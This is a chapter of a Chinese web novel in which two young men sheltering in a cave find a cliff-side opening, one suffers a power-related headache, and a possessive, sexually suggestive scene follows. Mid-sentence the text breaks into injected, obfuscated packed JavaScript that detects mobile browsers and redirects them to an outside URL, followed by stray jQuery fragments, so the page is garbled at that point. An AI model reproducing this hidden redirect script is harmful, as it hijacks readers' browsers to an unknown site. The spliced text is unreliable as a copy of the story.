“学长。”
柳烛双手背在身后,倚靠着石壁,一动不动盯着齐历。
“嗯。”
齐历只顾着看水桶里一点点蓄积起来增高的水面,漫不经心地应着他。
“学长。”
“嗯。”
“学长。”
“嗯。”
两个人连语调都没有变化,柳烛不厌其烦地喊着,齐历不厌其烦地应着。
“学长,不是说我以后会觉醒水系异能,而且很厉害,会有源源不断的水吗?”
柳烛终于忍不住说道。
所以,不要再管那些水桶,看看他好不好?
“的确。”
齐历点头,其实他到这来就是为了躲开柳烛。
他转移了话题,想要让柳烛的注意力也一并转移。
“你那边已经完成了?”
“很快就要完成了,学长可以期待一下。”
柳烛抑制着语气中的骄傲。
“很棒。”
齐历毫不吝啬地夸奖道。
然后在心里默默又加了一个数字,118。
这是今天他和柳烛说的第118句话,而这一天的二十四小时只过去了不到十四小时。
柳烛得到了想要的夸奖,却没有想象中的高兴。
气氛一时间沉默下来。
他站在旁边看着齐历,一直到自己都觉得有些太无所事事。
张了张嘴,还是没有把那句话问出来。
柳烛走了,背影有些失魂落魄。
齐历抿着唇,其实刚才差点就没忍住接话了。
从桶里涨溢出来的水打湿了地面,一直到鞋底染上凉意他才发现。
他弯下腰去触摸地板,却不知道自己要干什么,好半天才想起是要把水管移到空桶里。
都是他的错……
抱歉,柳烛,再过一个小时就可以和你说话了。
齐历在心里道歉。
“——学长,你看我发现了什么?”
口袋里的对讲机和山洞的另一边同步响起柳烛的声音,那语气狡黠又兴奋。
对讲机是为了防止在山洞里两人发生什么紧急的情况可以联系。
但是,这么近有必要吗?
幼稚鬼。
那,暂且顺延到下一个小时。
“齐历收到,准备过来了。”
齐历拿起对讲机回话,顺便向那边的柳烛招招手,让他不要着急。
柳烛却误以为是在让他过去,于是又小跑着过来。
“你不觉得累吗?”
齐历把人捞住,免得撞到旁边的灭火器上。
他最近一直都在刷新对柳烛的看法,以前总觉得柳烛是那种猫在家里,很宅的人。
这一个月下来,感觉还挺……活泼好动?
“不,不累。”
柳烛扶着膝盖,因为跑得太急喘着气。
“学长快和我去看。”
两个人一起到了另一边,这里处于洞厅的东北方,但却需要从他们储水的地方绕四分之三的圆才能到。
之前一直以为这边是封闭的,因此一直都没有想着过来看一眼。
刚才柳烛随意往这边一扫,发现这里隐隐约约似乎有光亮从缝隙中透出来。
于是走到那里一看,真的有一个隙口!
宽约两拃,中间有崎岖不平的石头阻挡,犬牙差互。
齐历仔细观察了一下出口,又去拿了铁镐和锤子来。
柳烛看着他的动作,一时不知道他要做什么,就在旁边帮忙递递工具什么的。
隙口逐渐被扩大,露出越来越多外面的天光。
感觉到外面格外清新的空气,齐历手上的动作越来越快。
终于差不多形成了一个过道。
两人侧身从狭窄的过道挤出去。
外面是一道天然形成的延伸,旁边就是悬崖绝壁,可以俯瞰整个村庄一直到远方。
齐历的眼神若有所思。
没想到这里还有一个出口,而且拿出手机看,信号是满格。
底下就是山崖,也不用担心有人会进来。
看风向,他们还可以在这里处理生活垃圾,之前都是在山洞的地下河旁边焚烧处理,那个烟子会飘进洞里,很久都散不掉。
最重要的是,这里就像一个阳台,可以时不时出来透透气。
从上午封闭洞口到现在不过几个小时,他竟然就对外面的空气有些怀念了。
“这里风景真好。”
“确实呢。”
看着齐历的样子,此时的柳烛已经有些后悔告诉齐历这个消息了。
他说不清楚是哪里后悔,但是已经隐约有种预感。
齐历的脑海里突然闪过一瞬间画面。
那画面似乎是把眼前的场景一整个拓印了下来……
随即,一种剧烈的疼痛就从他的天灵盖到太阳穴开始发作起来。
他捕捉到了和上次昏倒之前精神力被一丝丝抽走的感觉,但没有上一次那样摇摇欲坠。
只是头疼。
“学长?”
柳烛敏锐地捕捉到他脸色的不对劲。
“没事的。”
齐历的异能等级在这些天的锻炼运用下已经到达了九级。
他能够感觉到自己的力量颇有余裕。
但因为洞穴里面没有再需要大量动用异能的地方,所以无法确定。
“学长,我们把那个隙口封起来怎么样?”
“会有风从那边吹进来,而且也不安全。”
柳烛努力陈列出一些看起来合理的理由。
齐历把清理垃圾和放风的事情和柳烛说了,柳烛就不说话了。
“那边和这里不是一个风向,地形原因不会吹到这里面来。”
“如果你实在担心,我们到时候砌一道防风墙。”
想到今天柳烛这么乖,齐历也不忍心总是拒绝他,于是又补充了两句。
“好,我都听学长的。”
“这里风大,我们回去吧。”
柳烛把齐历带回了洞穴,让他好好地坐在沙发上。
接下来齐历显得有些漫不经心,他的头疼虽然有所减缓,但是精神力的流失还在持续。
他一闭眼,脑海里就是刚才的虚影。
“喝点这个看看。”
柳烛倒了一杯热茶过来。
茶杯里面漂浮着一朵缓缓绽放的小菊/花,里面还加了蜂蜜。
“谢谢你。”
齐历确实不太好受,这种感觉有点像是脑子被一点点抽干。
柳烛扶着杯子喂齐历慢慢喝下了茶水。
齐历微睁着眼,手习惯性地虚托着杯子。
“可以了,我够了。”
一中杯茶水,齐历喝了差不多四分之三,但柳烛没有把杯口移开。
他想着努力一下也不是喝不下,于是借着柳烛的手一饮而尽。
“学长真棒。”
柳烛仿着平时齐历的样子,语气温柔,甚至有些刻意地放柔和。
他又变出一条毯子盖在齐历身上,熨帖地把边边角角按好。
照顾学长这件事情让他有种诡异的满足感。
暂时消解了部分的不安和恐惧。
不知道为什么,柳烛总有一种预感,他无法和齐历长久。
他甚至偷偷地摆了塔罗牌,勉强得出来一个不愿意相信的,不明了的结果。
柳烛动作自然地拿起齐历手边的杯子,上面有半枚齐历的指纹。
他看了一会,舍不得擦掉,把杯子轻轻地转了个向,在茶壶边放好。
齐历躺在沙发上,有种小时候生病,被大人按在床上不许起来的安心感,渐渐的有点困意。
虽然就是,那只整理毯子的手逐渐在他的下巴流连。
他皱眉,不想被打扰,但是那种微凉而黏附的触感一直都摆脱不掉。
一道温热均匀的气息喷洒在他的颈侧。
齐历突然半睁开眼,感觉自己的下巴被什么小翅膀一样的东西一扫。
柳烛刚刚是靠两臂都撑在他身上,被他发现后干脆整个身体都扑到他怀里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358049|199720||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
两个人呼吸交缠,他感觉有一颗凉而温热的东西坠落到他的领口。
齐历想凭借直觉用手指拿出来,指背却碰到了柳烛的锁骨。
那颗颇有分量的圆球吊坠被惊得往上滑,落在他唇边的呼吸也重了几分。
齐历微微抬眼细看,才发现是之前他给柳烛缩小的那枚景观球,被柳烛做成吊坠一直戴在身上。
那个世界里正细细地下着小雪。
隔着玻璃的圆弧,之后是一双熟悉的带着期待的眼睛。
“柳烛。”
他的语气带着些疲倦,身上的人也安分了。
怀里的人似乎有些蔫了,他又缓了语气。
“你也休息一下吧。”
“我不累的,学长。”
柳烛赶紧说道。
他一点都不累,巴不得一直这样看着学长。
齐历只是想委婉地建议柳烛不要一直守着自己。
真不知道是真不懂还是假不懂。
他看向身上的人。
青年那双眼睛里明晃晃的充满占有欲和痴迷。
现在倒是演都不演了。
那颗银球随着齐历的动作猛地坠落在他的心口,他感觉似乎整个胸腔都一震。
但现在已经没空在意那些,齐历只想赶紧把这只粘人精哄走。
他吻得又急又重,一改平时的耐心和温柔。
柳烛很想要他再仔细一点,温存一点,延长一些时间。
但被他按着下巴动弹不得,只能被动承受着。
青年可怜兮兮地伸出舌头想要讨好地安抚他,反而被卷得不能收回。
在他怀里挣扎几下,齐历以为他真的不舒服准备松手。
结果青年两只手臂都缠了上来,领口也散了两颗。
齐历伸手,慢慢地把柳烛的眼镜摘下来,叠好放在旁边。
对方眼神迷离,乖巧地看着他,一副任他摆布的样子。
“真可爱。”
这语气是发自内心的赞赏感慨,让柳烛脸部的温度瞬间升高。
真,真的可爱吗?
柳烛的唇/瓣肿着,因为没有戴眼镜,视线模糊,看不清齐历的表情。
只能委委屈屈地说道:“肿了。”
“啊,怎么肿了?”
齐历语气惋惜又心疼,手轻轻抚摸着柳烛的脸颊,动作恢复了些温柔。
柳烛的眼泪已经掉出来了,但他其实想要学长再亲亲他。
唇齿间全都是蜂蜜的甜味,一直甜到心底。
他用最为敏感的味觉去仔细捕捉,体会,品尝,并永远铭记。
“我看看。”
柳烛乖乖地顺着齐历的指尖张开了嘴。
他期待得到更多的抚慰。
一枚冰凉的圆球被放进他嘴里。
他不知道是自己的舌尖化掉了还是那枚小银球太过圆滑,含也含不住。
“小心点,不要流出来了。”
齐历语气和煦地帮柳烛擦着唇角流出来的液体。
仿佛只是在关心提醒一件衣食住行相关的生活小事。
柳烛想要完成学长嘱咐的任务,于是很努力地紧闭着唇。
但是顺着球和链子,还是不断有液体流出来。
齐历拿着纸巾一点点帮他擦干净,又把把他领口的扣子一颗颗系好,眼镜也重新戴上。
柳烛的世界重归清晰,他看着学长替他做完这一切,似乎很是满意,扬起一个灿烂的笑容。
“——好啦。”
“学……”
柳烛这次是真的张开不口了,他一动,链子和银球就要在他嘴里滑动。
“肿了就不要乱动了。”
齐历把他带到旁边的椅子上让他坐好,俯下身在他耳边轻轻说了句话。
他的身体轻轻一颤。
柳烛试图用眼神唤起齐历的怜惜,但是齐历只是眼含笑意地看了他一眼。
做完这一切,齐历坐回了沙发上。
疼痛和困意驱使着他又闭上了眼睛,他真的需要休息一下了。